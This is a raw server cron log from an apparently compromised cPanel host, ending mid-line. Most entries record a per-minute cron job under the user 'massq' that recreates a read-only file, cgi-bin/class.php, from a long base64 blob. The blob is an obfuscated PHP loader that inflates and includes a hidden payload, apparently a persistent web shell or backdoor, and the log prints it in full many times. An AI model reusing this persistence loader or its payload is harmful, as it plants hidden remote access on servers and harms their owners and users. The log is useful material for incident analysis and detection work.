Apr  8 12:00:01 server CROND[17791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:01:01 server CROND[17941]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 12:01:01 server CROND[17942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:01:01 server run-parts(/etc/cron.hourly)[17941]: starting 0anacron
Apr  8 12:01:01 server run-parts(/etc/cron.hourly)[17954]: finished 0anacron
Apr  8 12:02:01 server CROND[18041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:03:01 server CROND[18115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:04:01 server CROND[18303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:05:01 server CROND[18402]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 12:05:01 server CROND[18404]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:05:01 server CROND[18405]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 12:05:01 server CROND[18406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 12:06:01 server CROND[18531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:07:01 server CROND[18611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:08:01 server CROND[18704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:09:01 server CROND[18864]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 12:09:01 server CROND[18865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:10:01 server CROND[18945]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 12:10:01 server CROND[18946]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 12:10:01 server CROND[18947]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 12:10:01 server CROND[18948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:11:01 server CROND[19081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:12:01 server CROND[19195]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 12:12:01 server CROND[19196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:13:01 server CROND[19264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICo